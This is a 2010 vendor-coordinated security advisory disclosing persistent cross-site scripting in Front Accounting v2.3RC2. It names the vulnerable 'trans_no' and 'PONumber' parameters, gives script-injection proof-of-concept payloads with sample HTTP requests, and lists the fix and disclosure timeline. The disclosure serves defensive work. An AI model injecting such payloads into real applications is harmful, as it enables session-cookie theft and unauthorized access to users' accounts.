Advisory Name: Multiple Persistent Cross-Site Scripting (XSS) in Front Accounting
Internal Cybsec Advisory Id: 2010-1001-Multiple Persistent XSSs in Front Accounting
Vulnerability Class: Permanent Cross-Site Scripting (XSS)
Release Date: 10/29/2010
Affected Applications: Front Accounting v2.3RC2; other versions may also be affected.
Affected Platforms: Any running Front Accounting v2.3RC2
Local / Remote: Remote
Severity: High - CVSS: 5.8 (AV:N/AC:M/Au:NR/C:N/I:P/A:P)
Researcher: Juan Manuel Garcia
Vendor Status: Acknowedged
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
Vulnerability Description:
Multiple Persistent Cross-Site vulnerabilities were found in Front Accounting v2.3RC2, because the
application fails to sanitize the response before it is returned to the user. This can be exploited to
execute arbitrary script and HTML code in a user's browser session. This may allow the attacker to
steal the user's cookie and to launch further attacks.
The parameter 'trans_no' in /purchasing/allocations/supplier_allocate.php is not properly sanitized.
The parameter 'PONumber' in /purchasing/po_receive_items.php is not properly sanitized.
Other parameters might also be affected.
Proof of Concept:
* The parameter 'trans_no' in the POST request has been set to:
<script>alert(165602)</script>
GET /purchasing/allocations/supplier_allocate.php?trans_type=1 HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: next.frontaccounting.eu
Referer: http://next.frontaccounting.eu/purchasing/allocations/supplier_allocation_main.php
* The parameter 'PONumber' in the POST request has been set to:
<script>alert(188214)</script>
GET /purchasing/po_receive_items.php?PONumber= HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: next.frontaccounting.eu
Referer: http://next.frontaccounting.eu/purchasing/inquiry/po_search.php
Impact:
An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an
attacker may obtain authorization cookies that would allow him to gain unauthorized access to the
application.
Solution:
Upgrade to FrontAccounting v2.3RC3
Vendor Response:
2010-10-12 - Vulnerability was identified
2010-10-13 - Vendor contacted
10/16/2010 Vendor confirmed vulnerability
10/19/2010 Vendor says that the bug will we fixed in FrontAccounting v2.3RC3
10/29/2010 Vulnerability was released
Contact Information:
For more information regarding the vulnerability feel free to contact the researcher at
jmgarcia <at> cybsec <dot> com
About CYBSEC S.A. Security Systems
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
proof of their professional life.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
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